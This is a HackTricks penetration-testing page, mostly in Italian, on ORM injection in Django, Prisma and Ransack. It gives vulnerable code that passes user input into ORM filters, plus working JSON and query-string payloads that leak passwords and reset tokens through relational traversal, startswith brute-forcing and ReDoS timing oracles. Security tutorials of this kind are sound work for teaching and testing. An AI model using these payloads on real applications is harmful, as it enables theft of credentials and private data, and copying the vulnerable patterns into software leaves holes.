12 KiB
ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Django ORM (Python)
In questo post viene spiegato come sia possibile rendere vulnerabile un Django ORM utilizzando ad esempio un codice come:
class ArticleView(APIView):
"""
Alcuna vista API di base a cui gli utenti inviano richieste per
cercare articoli
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Nota come tutti i request.data (che sarà un json) siano direttamente passati a filtrare oggetti dal database. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.
Esempi:
- Login: In un semplice login prova a leakare le password degli utenti registrati al suo interno.
{
"username": "admin",
"password_startswith":"a"
}
{% hint style="danger" %} È possibile forzare la password fino a quando non viene leakata. {% endhint %}
- Filtraggio relazionale: È possibile attraversare le relazioni per leakare informazioni da colonne che non ci si aspettava nemmeno fossero utilizzate nell'operazione. Ad esempio, se è possibile leakare articoli creati da un utente con queste relazioni: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains":"pass"
}
{% hint style="danger" %} È possibile trovare la password di tutti gli utenti che hanno creato un articolo {% endhint %}
- Filtraggio relazionale molti-a-molti: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith":"admi"
}
{% hint style="danger" %} In questo caso possiamo trovare tutti gli utenti nei dipartimenti degli utenti che hanno creato articoli e poi leakare le loro password (nel json precedente stiamo solo leakando i nomi utente ma poi è possibile leakare le password). {% endhint %}
- Abusare delle relazioni many-to-many di Django Group e Permission con gli utenti: Inoltre, il modello AbstractUser è utilizzato per generare utenti in Django e per impostazione predefinita questo modello ha alcune relazioni many-to-many con le tabelle Permission e Group. Che fondamentalmente è un modo predefinito per accedere ad altri utenti da un utente se si trovano nel stesso gruppo o condividono la stessa autorizzazione.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypassare le restrizioni del filtro: Lo stesso post del blog ha proposto di bypassare l'uso di alcuni filtri come
articles = Article.objects.filter(is_secret=False, **request.data)
. È possibile estrarre articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e leakare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono leakati dall'articolo segreto.
Article.objects.filter(is_secret=False, categories__articles__id=2)
{% hint style="danger" %} Abusando delle relazioni è possibile bypassare anche i filtri destinati a proteggere i dati mostrati. {% endhint %}
- Error/Time based via ReDoS: Negli esempi precedenti ci si aspettava di avere risposte diverse se il filtro funzionava o meno per usarlo come oracolo. Ma potrebbe essere possibile che venga eseguita un'azione nel database e la risposta sia sempre la stessa. In questo scenario potrebbe essere possibile provocare un errore nel database per ottenere un nuovo oracolo.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
From te same post regarding this vector:
- SQLite: Non ha un operatore regexp per impostazione predefinita (richiede il caricamento di un'estensione di terze parti)
- PostgreSQL: Non ha un timeout regex predefinito ed è meno soggetto a backtracking
- MariaDB: Non ha un timeout regex
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Il seguente seleziona tutti i post creati da qualcuno con una password e restituirà la password:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Controllo completo della clausola where:
Diamo un'occhiata a questo dove l'attacco può controllare la clausola where
:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerabile a ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
È possibile filtrare direttamente la password degli utenti come:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
{% hint style="danger" %}
Utilizzando operazioni come startsWith
è possibile leakare informazioni.
{% endhint %}
- Bypass del filtraggio relazionale molti-a-molti:
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
È possibile leak articoli non pubblicati tornando alle relazioni molti-a-molti tra Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
È anche possibile leak tutti gli utenti abusando di alcune relazioni many-to-many a loop back:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Nel post originale puoi leggere un insieme molto esteso di test eseguiti per trovare il payload ottimale per leakare informazioni con un payload basato sul tempo. Questo è:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Dove {CONTAINS_LIST}
è un elenco con 1000 stringhe per assicurarsi che la risposta sia ritardata quando viene trovata la corretta leak.
Ransack (Ruby)
Questi trucchi sono stati trovati in questo post.
{% hint style="success" %} Nota che Ransack 4.0.0.0 ora impone l'uso di un esplicito elenco di autorizzazione per gli attributi e le associazioni ricercabili. {% endhint %}
Esempio vulnerabile:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Nota come la query sarà definita dai parametri inviati dall'attaccante. È stato possibile, ad esempio, forzare il token di reset con:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Forzando e potenzialmente relazioni, è stato possibile estrarre ulteriori dati da un database.
Riferimenti
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.